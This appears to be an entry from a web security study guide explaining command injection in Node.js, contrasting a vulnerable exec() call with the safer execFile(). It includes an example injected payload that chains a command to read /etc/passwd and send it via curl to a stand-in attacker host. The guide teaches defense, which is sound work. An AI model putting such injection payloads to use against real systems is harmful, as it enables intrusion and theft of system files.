Web Security & OWASP (50 Qs)•Part 2: OWASP Top 10 & Critical Vulnerability Deep-Dives (11 - 25)
Command Injection: Child process execution pitfalls (exec vs. execFile/spawn) and argument escaping.
Shell Command Injection Risks
When backend applications call system binaries (e.g., resizing images with convert, generating PDFs, running git commands), passing untrusted input directly into a shell environment allows command execution.
bash
Vulnerable Node.js Code:
const { exec } = require('child_process');
// Spawns /bin/sh -c "ping -c 4 <ip>"
exec(`ping -c 4 ${req.body.ip}`, (err, stdout) => { ... });
Attacker Payload:
8.8.8.8; cat /etc/passwd | curl -X POST -d @- https://attacker.com/leak
Result: Shell executes ping, then immediately executes cat /etc/passwd and exfiltrates!
Safe Execution: Use execFile or spawn (No Shell Invocation)
typescript
import { execFile } from 'child_process';
// SECURE: Does NOT spawn a shell (/bin/sh); arguments passed directly to OS kernel
execFile('ping', ['-c', '4', req.body.ip], (err, stdout) => {
if (err) return console.error(err);
console.log(stdout);
});
When using execFile or spawn, characters like ;, |, and && are treated as literal strings rather than shell command separators.